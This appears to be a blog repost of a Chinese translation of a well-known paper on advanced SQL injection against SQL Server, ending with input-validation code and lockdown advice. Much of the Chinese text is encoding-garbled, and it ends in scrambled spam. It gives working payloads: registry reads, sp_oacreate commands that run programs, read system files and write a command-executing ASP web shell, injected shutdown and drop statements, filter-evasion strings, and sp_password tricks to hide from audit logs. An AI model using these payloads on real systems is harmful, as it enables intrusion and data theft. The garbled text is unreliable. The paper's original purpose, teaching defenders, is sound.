Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite

q些函数的用方法D例如下:
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
q将定什么样的会话连接在服务器上是可以用的

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
q将昄服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间׃n的情况下Q有了这些信息,d者或怼重新配置同一|络中的|络讑֤?

q很Ҏ惌C个攻击者可以利用这些函数读取SAMQ修改系l服务的配置Q它下ơ机器重启时启动Q或在下ơQ何用L陆时执行一条Q意的命o?/P>

[其他存储q程]
xp_servicecontrolq程允许用户启动Q停止,暂停和l服务:
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
下表中列Z量的其他有用的存储q程Q?
Xp_availablemedia 昄机器上有用的驱动?
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列D服务器上的ODBC数据?
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创Z个压~文?
Xp_ntsec_enumdomains 列D服务器可以进入的?
Xp_terminate_process 提供q程的进EIDQ终止此q程

[Linked Servers]
SQL SERVER提供了一U允许服务器q接的机Ӟ也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存攑֜master.sysservers表中。如果一个连接的服务器已l被讄成?sp_addlinkedsrvlogin'q程Q当前可信的q接不用登陆可以访问到服务器?openquery'函数允许查询q服务器也可以执行?

[Custom extended stored procedures]
扩展存储q程应用E序接口是相当简单的Q创Z个携带恶意代码的扩展存储q程动态连接库是一个相当简单的d。用命令行有几个方法可以上传动态连接库到SQL服务器上Q还有其它包括了多种自动通讯的通讯机制Q比如HTTP下蝲和FTP脚本?
一旦动态连接库文g在机器上q行即SQL服务器能够被讉K——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过E(q种情况下,我们的恶意存储过E就是一个能输出服务器的pȝ文g的小的木马)Q?

Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
在正常的方式下,q个扩展存储q程可以被运行:
exec xp_webserver
一旦这个程序被q行Q可以用下面的Ҏ它除去Q?
xp_dropextendedproc 'xp_webserver'

[文本文件导入表]
使用'bulk insert'语法可以一个文本文件插入到一个时表中。简单地创徏q个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中Q如Q?
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

可以使用上述的错误消息技术,或者?union'选择Q文本文g中的数据与应用程序正常返回的数据l合Q将数据取回。这个用来获取存攑֜数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的?/P>

[使用bcp建立文本文g]
使用'bulk insert'的相Ҏ术可以很Ҏ建立L的文本文件。不q的是这需要命令行工具?bcp',?bulk copy program'
既然 bcp可以从SQL服务q程外访问数据库Q它需要登陆。这代表获得权限不是很困难,既然d者能建立Q或者利用整体安全机?如果服务器配|成可以使用??

命o行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名Q?P'参数为密码,q里?foobar'

[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过E。这些脚本和q行在windows脚本解释器下的脚本,或者ASP脚本E序一样——他们用VBScript或JavaScript书写Q他们创动执行对象ƈ和它们交互。一个自动执行脚本用这U方法书写可以在Transact-SQL中做M在ASP脚本中,或者WSH脚本中可以做的Q何事情。ؓ了阐明这鞋,q里提供了几个例子:

Q?Q这个例子?wscript.shell'对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
我们可以通过指定在用户名后面来执行它Q?
UsernameQ?; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'?

(2)q个例子使用'scripting.filesystemobject'对象M个已知的文本文gQ?
--scripting.filesystemobject example ?read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end

(3)q个例子创徏了一个能执行通过提交到的M命oQ?
-- scripting.filesystemobject example ?create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>'
需要指出的是如果运行的环境是WIN NT4+IIS4q_上,那么通过q个E序q行的命令是以系l权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccountq行?

(4)q些例子阐述了这个技术的适用性;它可以?speech.voicetext'对象引vSQL SERVER发声Q?
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中,通过指定在用户名后面来执行它Q注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序)Q?
UsernameQadmin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

[存储q程]
传说如果一个ASP应用E序在数据库中用了存储q程Q那么SQL注入是不可能的。这句话只对了一半,q要看ASP脚本中调用这个存储过E的方式?
本质上,如果一个有参数的查询被执行 Qƈ且用h供的参数通过安全查才攑օ到查询中Q那么SQL注入明显是不可能发生的。但是如果攻击者努力媄响所执行查询语句的非数据部分Q这样他们就可能能够控制数据库?
比较好的常规的标准是Q?
?如果一个ASP脚本能够产生一个被提交的SQL查询字符Ԍ即它用了存储q程也是能够引vSQL注入的弱炏V?
?如果一个ASP脚本使用一个过E对象限制参数的往存储q程中分配(例如ADO的用于参数收集的command对象Q,那么通过q个对象的执行,它一般是安全的?
明显圎ͼ既然新的d技术始l地被发玎ͼ好的惯例仍然是验证用h有的输入?

Z阐明存储q程的查询注入,执行以下语句Q?
sp_who '1' select * from sysobjects
or
sp_who '1';select * from sysobjects
M一U方法,在存储过E后Q追加的查询依然会执行?

[高SQL注入]
通常情况下,一个web应用E序会qo单引P或其他符PQ或者限定用h交的数据的长度?
在这部分Q我们讨Z些能帮助d者饶q那些明N范SQL注入Q躲避被记录的技术?

[没有单引L字符串]
有时候开发h员会通过qo所有的单引h保护应用E序Q他们可能用VBScript中的replace函数或类|
function escape(input)
input=replace(input,"'","''")
escape=input
end function
无可否认地这防止了我们所有例子的dQ再除去';'W号也可以帮很多忙。但是在一个大型的应用E序中,好象个别值期望用戯入的是数字。这些值没有被限定Q因此ؓd者提供了一个SQL注入的弱炏V?
如果d者想不用单引号产生一个字W串|他可以用char函数Q例如:
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
q就是一个能够往表中插入字符串的不包含单引号的查询?
淡然Q如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会v作用Q?
insert into users values(667,
123,
123,
oxffff)
SQL SERVER自动地将整型转化为varchar型的倹{?

[Second-Order SQL Injection]
即应用E序Lqo单引Pd者依然能够注入SQL同样通过应用E序使数据库中的数据重复使用?
例如Q攻击者可能利用下面的信息在应用程序中注册Q?
UsernameQadmin'?
PasswordQpassword
应用E序正确qo了单引号Q返回了一个类DLinsert语句Q?
insert into users values(123,'admin''?,'password',0xffff)
我们假设应用E序允许用户修改自己的密码。这个ASP脚本E序首先保证用户讄新密码前拥有正确的旧密码。代码如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
?
讄新密码的代码如下Q?
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")为登陆查询中q回的用户名
当username为admin'—时Q查询语句ؓQ?
update users set password = 'password' where username='admin'?
q样d者可以通过注册一个admin'—的用户来根据自qx来设|admin的密码?
q是一个非怸重的问题Q目前在大型的应用程序中试图去过滤数据。最好的解决Ҏ是拒l非法输入,q胜于简单地努力M改它。这有时会导致一个问题,非法的字W在那里是必要的Q例如在用户名中包含'W号Q例?
O'Brien
从一个安全的观点来看Q最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被qoQ在q种情况下,保证所有进入SQL查询的数据都是正的是最好的Ҏ?
如果d者不使用M应用E序莫名其妙地往pȝ中插入数据,q种方式的攻M是可能的。应用程序可能有email接口Q或者可能在数据库中可以存储错误日志Q这h击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始l是个好的方法。确认函数将被简单地调用Q例如:
if(not isValid("email",request.querystring("email"))) then
response.end
或者类似的Ҏ?

[长度限制]
Zl攻击者更多的困难Q有时输入数据的长度是被限制的。当q个ȝ了攻LQ一个小的SQL可以造成很严重的危害。例如:
UsernameQ?;shutdown?
q样只用12个输入字W就停止SQL SERVER实例。另一个例子是Q?
drop table <tablename>
如果限定长度是在qo字符串后应用会引发另一个问题。假讄户名被限?6个字W,密码也被限定16个字W,那么下面的用户名和密码结合将会执行上面提到的shutdown命oQ?
UsernameQaaaaaaaaaaaaaaa'
PasswordQ?; shutdown?
原因是应用程序尝试去qo用户名最后的单引P但是字符串被切断?6个字W,删除了过滤后的一个单引号。这Ll果是如果密码字段以单引号开始,它可以包含一些SQL语句。既然这h询看上去是:
select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown?
实际上,查询中的用户名已l变为:
aaaaaaaaaaaaaaa' and password='
因此最后的SQL语句会被执行?

[审计]
SQL SERVER包含了丰富的允许记录数据库中的各U事件的审计接口Q它包含在sp_traceXXXcȝ函数中。特别有意思的是能够记录所有SQL语句Q然后在服务器上执行的T-SQL的事件。如果这U审计是被激zȝQ我们讨论的所有注入的SQL查询都将被记录在数据库中Q一个熟l的数据库管理员能够知道发生了什么事。不q地Q如果攻击者追加以下字W串Q?
Sp_password
C个Transact-SQL语句中,q个审计机制记录日志如下Q?
--'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
q种行ؓ发生在所有的T-SQL日记记录中,即'sp_password'发生在一个注释中。这个过E打通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法?
因此Qؓ了隐藏所有注入,d者需要简单地??注释字符后追加sp_passwordQ例如:
UsernameQadmin'—sp_password
事实上一些被执行的SQL被记录Q但是查询本w将利C日志中消失?

[防范]
q部分讨论针对记q的d的一些防范。我们将讨论输入认和提供一些简单的代码Q然后我们将从事SQL SERVER锁定?

[输入验证]
输入验证是一个复杂的题目。比较有代表性的是,自从q于严密地确认們֐于引起部分应用程序的暂停Q输入确认问题很难被解决Q在目开发中投入很少的注意力在输入确认上。输入确认不是們֐于将它加入到应用E序的功能当中,因此它一般会被忽视?
下面是一个含有简单代码的讨论输入认的大UӀ这个简单的代码不能直接用于应用E序中,但是它十分清晰地阐明了不同的{略?
不同的数据确认方法可以按以下分类Q?
1Q?努力修改数据使它成ؓ正确?
2Q?拒绝被认为是错误的输?
3Q?只接收被认ؓ是正的输入
W一U情冉|一些概念上的问题;首先Q开发h员没必要知道那些是错误数据,因ؓ新的错误数据的Ş式始l被发现。其ơ,修改数据会引起上面描q过的数据的长度问题。最后,二次使用的问题包括系l中已经存在数据的重C用?
W二U情况也存在W一U情况中的问题;已知的错误输入随着d技术的发展变化?
W三U情况可能是三种中最好的Q但是很隑֮现?
从安全角度看合ƈW二U方法和W三U方法可能是最好的Ҏ——只允许正确的输入,然后搜烦输入中已知的错误数据?
带有q接W号的姓名的问题对于体现合ƈ两种Ҏ的必要性是一个好的例子:
Quentin Bassington-Bassington
我们必须在正输入中允许q接W号Q但是我们也意识到字W序??对SQL SERVER很重要?
当合q修Ҏ据和字符序列认Ӟ会出现另一个问题。例如,如果我们应用一个错误过滤在除去单引号之后去探测'?Q?select'?union'Q攻击者可以输入:
uni'on sel'ect @@version-'-
既然单引可除去Q攻击者可以简单地散布单引号在自己的错误的字符串中w避被发现?
q有一些确认代码的例子Q?
Ҏ一——过滤单引号
function escape(input)
input=replace(input,"'","''")
escape=input
end function

Ҏ二——拒l已知的错误输入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","?,"'")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function

Ҏ三——只允许正确的输?
function validatepassword(input)
good_password_chars=?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function

[SQL SERVER锁定]
在这指出的重要一Ҏ锁定SQL SERVER是必要的Q外面的是不安全的。这是一个但创徏SQL SERVER旉要做的事情的短的列表Q?
1.定q接服务器的Ҏ
a.定你所使用的网l库是可用的Q那么?Network Utility"
2.定哪些帐户是存在的
a.为应用程序的使用创徏一个低权限的帐?
b.删除不必要的帐户
c.定所有帐h强壮的密码;执行密码审计
3.定哪些对象存在
a.许多扩展存储q程能被安全地移除。如果这样做了,应该U除包含在扩展存储过E代码中?.dll'文g
b.U除所有示例数据库——例?northwind'?pubs'数据?
4.定哪写帐户能过使用哪些对象
a.应用E序q入数据库所使用的帐户应该有保证能够使用它需要的对象的最权?
5.定服务器的补丁
a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多?
6.定什么应该被日志记录Q什么应该在日志中结束?



bcims 2006-01-17 19:53 发表评论
]]>
վ֩ģ壺 97߹ѹۿ| ƷƵһ| AVַ߹ۿ| Ʒa߹ۿ| þô| 츾AVӰ| ԴWWW| רһvav| þþþþþþþþѾƷ| ձ߹ۿƵ| йɫվ| þ޾Ʒ| 91Ƶ߹ۿѴȫ| ˳ɫ߹ۿ| ɫƬѹۿ| Ʒɫʹ | 㽶þþƷ | ߿Ƭ˳Ƶ| ޾ƷƵѿ| 㻨߹ۿѹۿ| ޸Ů侫| ޾ƷһۺϾԴ| ŮaëƬѹۿ| ޾Ʒ| 1000Ƶ| һ24޿| ˳վ߲| 弦վ߲ѹۿ| þþþ޾Ʒ| ѵɬɬƵ߲| һɫվ| ޵һվƵ| Ʒþ㽶Ѳ| ŮƵۿ| ޳avƬ߿Ƭ| aëƬ߹ۿ| վѹۿ| av߹ۿ | ޾Ʒ**ëƬ| һѰ| һƵѹۿ|